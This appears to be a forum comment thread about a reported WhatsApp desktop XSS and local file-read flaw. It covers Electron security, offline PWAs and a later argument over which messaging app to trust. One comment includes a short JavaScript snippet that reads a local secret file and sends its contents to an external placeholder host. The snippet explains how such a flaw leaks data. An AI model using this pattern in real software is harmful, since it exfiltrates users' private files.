I found a WhatsApp security flaw that allowed hackers to read the file system
perimeterx.com
perimeterx.com
I never really thought about this, but in retrospect, this is so blindingly obvious, and is almost certainly a potential exploit vector to a wide range of electron-based apps.
There's a whole process for evaluating and auditing Electron applications, which is harder to do than auditing (for instance) a native mobile application or, probably, even a native desktop application.
Can you explain this further? How is it different than a web-app with a NodeJS backend?
In electron, you can configure your page to be interlinked with node, so that you could write `const fs = require(‘fs’)` and import the Node filesystem module. This is a big feature of Electron, but it also opens you up to a whole host of vulnerabilities.
For instance, you are never supposed to spin up a WebView like this and then just load random URLs (this is emphasized in the docs when they’re explaining how to do this). However, if you did, untrusted code on a random webpage would have access to the user’s filesystem.
[Edit now that I'm back on my laptop]: Here's the section of the docs that covers this security concern: https://www.electronjs.org/docs/tutorial/security#isolation-...
> Under no circumstances should you load and execute remote code with Node.js integration enabled. Instead, use only local files (packaged together with your application) to execute Node.js code. To display remote content, use the <webview> tag or BrowserView, make sure to disable the nodeIntegration and enable contextIsolation
I wouldn't be too surprised if it could be exploited, but it's not as easy as require('fs'). Instead you have to send messages through the pipe and you'd have to know how to exploit the handlers at the other end in the NodeJs process.
This section of the docs explains it a bit better: https://www.electronjs.org/docs/tutorial/application-archite...
> Electron exposes full access to Node.js both in the main and the renderer process.
Sorry I am not very familiar with Electron.
This then becomes exactly the same as writing a web app, with anything that cannot be done by the renderer (Ex: file access) being done by the 'server'. Always wondered why this was not an officially strictly recommended way of doing this.
Wasn't there a Mac app that recently got a lot of flack for this?
https://www.electronjs.org/docs/tutorial/application-archite...
> Electron exposes full access to Node.js both in the main and the renderer process.
You can try this by opening a console on any webpage and trying to do fetch requests or add img tags to the page that are loading resources from localhost.
But really for stuff like file system access just use the node APIs, don't shuffle this stuff through any hand rolled IPC.
If you're shipping your own Chromium, shouldn't it be trivial to remove those limits?
ermagerd
Let's say you're writing an IDE in it. How would you invoke compilers & debuggers, cache filesystem/type information, state, etc. without breaking out of the browser sandbox somehow?
John Titor would be proud.
Many Electron apps should just be a PWA instead, and many actually are. Why would I want to install a desktop app for WhatsApp? It runs just fine in Chrome, and using More Tools -> Create shortcut..., you can even create a launcher entry that will launch the page in its own window.
I’ve worked on the Native File System API on Chrome.
It’s available through Origin Trial at the moment.
That said, Web apps can currently emulate reading files and writing to disk.
Take a look at this library, which also works as a poly fill:
The vast majority of the work I do can be done off-line with files stored on disk, minus stuff that obviously needs connectivity (e.g. Slack). Writing text, writing code, reading/editing documents and spreadsheets, doing CAD (mechanical and electronics), etc. During the week I live in the city, but on weekends and occasionally for longer stretches of time I like to head out to our rural house for peace and quiet (and focused work). Over time, the number of applications that ought to work off-line has been slowly shrinking, whether it's because they insist on using cloud storage instead of local storage, or licensing checks, or whatever. It's really really disappointing, and I would personally be delighted if I could get work done without an Internet connection.
Obviously this is not a great workflow for certain things like system administration tools that are specifically designed to work with the local machine's filesystem, but that's not really a good use case for PWAs in the first place.
Forcing user to generate/download ZIP at some well-defined points in time is a horrible UX idea; in addition it leads to desynced content of files and local storage. Browser's local storage can also disappear if SQLite gets corrupted, making it a nice SPOF for all PWAs that are installed. Imagine not losing data just for one app, but for all of them.
[1] https://blog.mozilla.org/firefox/progressive-web-apps-whats-...
Out of sheer hope and ignorant superstition about the wonders of sandboxing, I tend to install the App Store versions of crap like WhatsApp and Slack whenever possible.
Good reason to not give apps full disk access unless they really, really need it even if it’s more convenient to do so.
Preview is generated on sender side, preview is generated on client side or preview is generated on some server.
On a "secure" system as Whatsapp is advertised as, you'll notice only the second choice is "secure" and possible, since otherwise you'll disclose both your IP and lots of other things, like location (from IP).
I'm working on a startup to help solve some of this: https://www.todesktop.com
Feedback appreciated :)
I hope the pendulum swings back again and we'll see companies start to use cross-platform Rust libraries in some kind of way. I can't imagine you can't reuse 80% of the code that powers those applications in any other way than using some kind of Javascript engine. And perhaps we can just compile it to web using webassembly?
That has nothing to do with Electron. You can totally bork an UI on the "modern web", too. There's nothing stopping the Outlook team from porting the old room picking interface to the web version.
I've only used the Outlook web app as a fallback (at $work it used to be available using 2FA, and I'd use it if I needed to check my email real quick but didn't have my laptop -- and, thus, "real" Outlook -- with me) so maybe it's an exception. But most of the time I really wish people would stop trying to bring the web experience to desktop :).
> There are more than 5 different 1-day RCEs in Chromium 69 or higher, you just need to find a published one and use it through the persistent XSS found earlier and BAM: Remote Code Execution ACHIEVED!
> I did not take the time to actually exploit a public RCE
The XSS vulnerability is serious and looks fully deserving of a bug bounty. Likewise, using an old version of Electron is asking for trouble. But for me this PoC should include the extra step of "just" exploiting one of the RCE holes he's sure must exist.
If you can fetch arbitrary URLs, and the contents of local files, you can trivially exfiltrate the latter with the former. Just fetch the local file, then fetch an URL that encodes the contents of the local file.
var text = fetch("/local/secret/file");
fetch("https://example.org/"+encode(text));Are you saying he could alert it but not exfiltrate it?
ls -1d -- /Applications/*.app/Contents/Frameworks/Electron\ Framework.framework
(linux) You can also search for any folder called "app.asar" or "app.asar.unpacked"(windows) You can also reverse the process used to package an app: https://www.electronjs.org/docs/tutorial/application-distrib...
/Applications/Discord.app/Contents/Frameworks/Electron Framework.framework /Applications/Etcher.app/Contents/Frameworks/Electron Framework.framework /Applications/Twitch.app/Contents/Frameworks/Electron Framework.framework
You can still see it at both the top and bottom of this archived copy: https://web.archive.org/web/20200204164053/http://www.perime...
Its just a matter of time before Facebook merges WhatsApp with its Messenger (and keep either of those names).
2. It would be a pretty big fiasco if they lied on e2e encryption. You can assume that people are actively and periodically reverse engineering their mobile apps, so this would surface at some point or another.
I believe you mean End-to-end-to-end encryption
My perspective is, pick one of the many overlapping channels we already share or don't bother me. I am not signing up to yet another spyware-of-the-month app in order to chase your fashion sense.
> pick one of the many overlapping channels we already share
Maybe this whole Bezos affair would convince them it's insecure spyware from yours truly Facebook and their friends in the UAE? I think not.
For a basic 'send text message from user A to user B' app, there are lots of options. Something that is as convenient as Whatsapp though - there are none.
With encrypted iTunes-backups an almost trivial way of moving your data exist at least for iOS.
The primary concern is that messages in Telegram aren't encrypted by default. But that's been the case for a lot of messengers and tbh for large groups privacy really can't be assumed on any E2E solution. (yes, technically but practically it wouldn't be the case)
The Telegram creators are also extremely cocky and the encryption they do use is non-standard and done mostly in-house. It backfired on them a little with MTProto which they've fixed in v2, but it doesn't make cryptographers confident.
Signal and Telegram have wildly different philosophies on what it means to be secure. Telegram refuses to implement E2E on desktop clients citing it being too large of an attack surface (I am inclined to agree with them). They emphasize ephemerality of conversations in a way Signal doesn't do (E2E chats in Telegram and frequently brought up and torn down, Signal instead just has self-destructing messages).
Finally, look at the creators' motivations. Moxie is having to sell double-ratchet stuff to the likes of Facebook and relies on Amazon and Google to run the service. Pavel is several orders of magnitude more rich, has been outspoken against Putin, and can afford to fund anything he needs done on Telegram. I'm not claiming either is more trustworthy, but motivations are radically different.
Remove cloud backups from telegram and it's instantly less valuable for me.
I just changed phones - different operating systems. If it were WhatsApp, my chats would be gone.
Telegram keeps years of my chat history without becoming slow like WhatsApp would have been.
The driver software has been completely taken over by Facebook's nakedly nefarious motivations. It's not even just spyware, or even malware; the term I would coin for it is "fuck-you-ware". Want to play the game you bought last year, on the headset you bought two years ago? Fuck you! Make an account first. We changed the rules and updated the software without asking you and now all your data are belong to us...
In this case, I would say the fewer people working on Signal is a strength, not a weakness.